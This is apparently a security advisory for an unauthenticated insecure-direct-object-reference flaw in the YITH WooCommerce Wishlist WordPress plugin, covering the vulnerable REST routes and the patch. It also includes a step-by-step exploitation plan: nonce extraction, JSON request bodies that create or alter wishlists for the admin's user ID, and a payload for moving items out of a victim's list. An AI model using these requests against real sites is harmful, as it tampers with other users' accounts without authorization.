YITH WooCommerce Wishlist <= 4.12.0 - Unauthenticated Insecure Direct Object Reference
Description
The YITH WooCommerce Wishlist plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.12.0 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.12.0What Changed in the Fix
Changes introduced in v4.13.0
Source Code
WordPress.org SVN# Research Plan: CVE-2026-27329 - YITH WooCommerce Wishlist IDOR ## 1. Vulnerability Summary The **YITH WooCommerce Wishlist** plugin (up to version 4.12.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API implementation. The vulnerability arises because several RES…
Show full research plan
Research Plan: CVE-2026-27329 - YITH WooCommerce Wishlist IDOR
1. Vulnerability Summary
The YITH WooCommerce Wishlist plugin (up to version 4.12.0) contains an Insecure Direct Object Reference (IDOR) vulnerability in its REST API implementation. The vulnerability arises because several REST API endpoints, specifically those in YITH_WCWL_Rest_V1_Lists_Controller and YITH_WCWL_Rest_V1_Items_Controller, accept a user_id parameter and use it to perform actions (like creating wishlists or adding items) without verifying that the requester has the authority to act on behalf of that user_id.
Because the permission_callback for several of these routes is set to __return_true, unauthenticated attackers can manipulate the wishlists of any user on the site if they know or can guess the victim's user_id.
2. Attack Vector Analysis
- Endpoint:
/wp-json/yith/wishlist/v1/lists - HTTP Method:
POST - Vulnerable Parameter:
user_id(the "user-controlled key") - Required Parameters:
wishlist_name,wishlist_visibility - Authentication: None required (unauthenticated).
- Preconditions: The REST API must be enabled (default in WordPress). A victim
user_id(typically1for the site admin) must exist.
3. Code Flow
- Route Registration: In
includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-lists-controller.php, theregister_routesmethod registers thePOSTmethod for the baselistsroute:register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_list' ), 'permission_callback' => '__return_true', // Vulnerability: No auth check 'args' => array( 'wishlist_name' => array( ... ), 'wishlist_visibility' => array( ... ), 'user_id' => array( 'type' => 'integer' ), // Attacker controlled ), ), ) ); - Callback Execution: When the endpoint is hit,
create_list($request)is called. - Data Processing: The controller retrieves all parameters via
$args = $request->get_params(). - Sink: These arguments are passed directly to the wishlist factory:
The$wishlist = YITH_WCWL_Wishlists::get_instance()->create( $args );createmethod uses theuser_idprovided in$argsto set the owner of the new wishlist. Because there is no check comparing the requesteduser_idwith the current logged-in user ID, the IDOR occurs.
4. Nonce Acquisition Strategy
While unauthenticated REST API POST requests with a permission_callback of __return_true often do not require a nonce in a stateless environment (no cookies), WordPress may require a wp_rest nonce if any session cookies are present. To ensure the exploit works:
- Shortcode: The plugin localization and REST data are typically loaded on pages containing the wishlist shortcode.
- Create Page: Create a temporary page with
[yith_wcwl_wishlist]. - Navigation: Navigate to this page using
browser_navigate. - Extraction: Use
browser_evalto extract the REST nonce from theyith_wcwl_l10nobject:- Variable:
window.yith_wcwl_l10n?.rest?.nonce
- Variable:
- Usage: Include this nonce in the
X-WP-Nonceheader.
5. Exploitation Strategy
Step 1: Discover Target
Target User ID: 1 (Admin).
Target Product: Any valid WooCommerce product ID.
Step 2: Extract REST Nonce (Optional but Recommended)
// Execute via browser_eval after navigating to a page with [yith_wcwl_wishlist]
return window.yith_wcwl_l10n?.rest?.nonce;
Step 3: Perform IDOR Request (Create List for Admin)
HTTP Request:
- URL:
http://<target>/wp-json/yith/wishlist/v1/lists - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: <extracted_nonce>(if available)
- Body:
{
"wishlist_name": "Unauthorized Admin List",
"wishlist_visibility": 0,
"user_id": 1
}
Step 4: Perform IDOR Request (Add Item to Admin List)
HTTP Request:
- URL:
http://<target>/wp-json/yith/wishlist/v1/items - Method:
POST - Body:
{
"product_id": <valid_product_id>,
"user_id": 1,
"wishlist_name": "Unauthorized Admin List"
}
6. Test Data Setup
- Requirement: WooCommerce must be active.
- Product: Create a test product:
wp post create --post_type=product --post_title="Target Product" --post_status=publish
(Note the returned ID). - Shortcode Page: Create a page for nonce extraction:
wp post create --post_type=page --post_title="Wishlist Trigger" --post_status=publish --post_content="[yith_wcwl_wishlist]"
7. Expected Results
- The REST API response should return a JSON object containing
wishlist_data. - The
wishlist_datashould show theuser_idas1. - The response code should be
200 OKor201 Created.
8. Verification Steps
Verify the wishlist creation and ownership via WP-CLI:
# Check if a wishlist named "Unauthorized Admin List" exists for User ID 1
wp eval "print_r(YITH_WCWL_Wishlist_Factory::get_wishlists(array('user_id' => 1)));"
Or via raw database query:
wp db query "SELECT * FROM wp_yith_wcwl_wishlists WHERE user_id = 1 AND wishlist_name = 'Unauthorized Admin List';"
9. Alternative Approaches
If create_list is patched or restricted, target the Move Item endpoint which is also unauthenticated:
- Endpoint:
POST /wp-json/yith/wishlist/v1/items/move - Payload:
{"product_id": 123, "destination_wishlist": <target_list_id>, "origin_wishlist": <victim_list_id>} - This would demonstrate the ability to steal items from a victim's wishlist and move them to an attacker's wishlist.
Summary
The YITH WooCommerce Wishlist plugin for WordPress is vulnerable to Insecure Direct Object Reference (IDOR) via its REST API endpoints in versions up to 4.12.0. This occurs because endpoints for creating wishlists and managing items use a user-provided user_id parameter without validating ownership, allowing unauthenticated attackers to perform actions on behalf of any site user, including administrators.
Vulnerable Code
// includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-lists-controller.php lines 53-73 register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_list' ), 'permission_callback' => '__return_true', 'args' => array( 'wishlist_name' => array( 'description' => _x( 'The wishlist name.', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ), 'type' => 'string', 'required' => true, ), 'wishlist_visibility' => array( 'description' => _x( 'The wishlist visibility value.', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ), 'type' => 'integer', 'required' => true, ), 'user_id' => array( 'description' => _x( 'The unique identifier for the user.', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ), 'type' => 'integer', ), --- // includes/rest-api/controllers/v1/class-yith-wcwl-rest-v1-items-controller.php lines 111-140 register_rest_route( $this->namespace, '/' . $this->rest_base . '/move', array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'move_item' ), 'permission_callback' => '__return_true', 'args' => array( 'product_id' => array( 'description' => _x( 'The product ID', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ), 'type' => 'integer', 'required' => true, ),
Security Fix
@@ -53,7 +53,7 @@ array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_list' ), - 'permission_callback' => '__return_true', + 'permission_callback' => array( $this, 'create_list_permissions_check' ), 'args' => array( 'wishlist_name' => array( 'description' => _x( 'The wishlist name.', '[REST-API] The schema field description', 'yith-woocommerce-wishlist' ), @@ -111,5 +137,38 @@ return rest_ensure_response( $response ); } + + /** + * Check if the current user can create a wishlist. + * + * Prevents unauthenticated users from creating wishlists for arbitrary user IDs. + * + * @param \WP_REST_Request $request The rest request. + * @return true|\WP_Error + */ + public function create_list_permissions_check( $request ) { + $user_id = $request->get_param( 'user_id' ); + + // If a user_id is provided, only allow if the current user matches or is an admin. + if ( $user_id ) { + if ( ! is_user_logged_in() ) { + return new \WP_Error( + 'wishlist_rest_cannot_create', + __( 'Sorry, you must be logged in to create a wishlist for a user.', 'yith-woocommerce-wishlist' ), + array( 'status' => 401 ) + ); + } + + if ( (int) get_current_user_id() !== (int) $user_id && ! current_user_can( 'manage_woocommerce' ) ) { // phpcs:ignore WordPress.WP.Capabilities.Unknown + return new \WP_Error( + 'wishlist_rest_cannot_create', + __( 'Sorry, you are not allowed to create wishlists for other users.', 'yith-woocommerce-wishlist' ), + array( 'status' => 403 ) + ); + } + } + + return true; + }
Exploit Outline
The vulnerability can be exploited by an unauthenticated attacker using the WordPress REST API. An attacker targets the `/wp-json/yith/wishlist/v1/lists` endpoint with a POST request. The payload should include a `user_id` parameter set to the ID of the target victim (e.g., 1 for the site administrator). Because the endpoint uses `__return_true` for its `permission_callback`, the server processes the request without checking if the requester has authority over the specified `user_id`. If a REST nonce is required (standard in most WordPress configurations), it can be retrieved from the `yith_wcwl_l10n` object on any page where the plugin's wishlist shortcode is rendered and supplied in the `X-WP-Nonce` header.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.